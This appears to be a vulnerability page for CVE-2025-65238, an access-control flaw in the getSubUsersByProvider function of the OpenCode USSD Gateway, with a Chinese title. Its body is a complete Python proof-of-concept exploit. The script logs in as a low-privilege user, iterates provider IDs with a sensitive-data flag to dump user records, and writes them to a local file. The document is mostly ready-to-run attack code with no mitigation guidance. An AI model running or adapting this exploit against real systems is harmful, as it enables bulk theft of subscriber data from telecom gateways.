CVE-2025-65238 OpenCode USSD Gateway getSubUsersByProvider函数访问控制漏洞

import requests import json # CVE-2025-65238 PoC - OpenCode USSD Gateway Access Control Bypass # Target: OpenCode Systems USSD Gateway OC Release: 5 Version 6.13.11 # Vulnerability: Incorrect access control in getSubUsersByProvider function TARGET_URL = "https://target-ussd-gateway.com" def exploit_cve_2025_65238(): """ Exploit for CVE-2025-65238: Broken Access Control in getSubUsersByProvider This PoC demonstrates how low-privilege users can dump all user records. """ # Step 1: Authenticate with low-privilege account login_url = f"{TARGET_URL}/api/auth/login" login_data = { "username": "low_privilege_user", "password": "password123" } session = requests.Session() login_response = session.post(login_url, json=login_data) if login_response.status_code != 200: print("[-] Authentication failed") return print("[+] Successfully authenticated with low-privilege account") # Step 2: Exploit the access control vulnerability # The getSubUsersByProvider function does not properly validate permissions exploit_url = f"{TARGET_URL}/api/users/getSubUsersByProvider" # Step 3: Dump user records by iterating through user IDs leaked_users = [] for user_id in range(1, 1000): payload = { "provider_id": user_id, "include_sensitive": True } response = session.post(exploit_url, json=payload) if response.status_code == 200: data = response.json() if data.get("users"): leaked_users.extend(data["users"]) print(f"[+] Leaked {len(data['users'])} user records for provider_id: {user_id}") # Step 4: Save leaked data if leaked_users: with open("leaked_users.json", "w") as f: json.dump(leaked_users, f, indent=2) print(f"[+] Total leaked users: {len(leaked_users)}") print("[+] Data saved to leaked_users.json") if __name__ == "__main__": exploit_cve_2025_65238()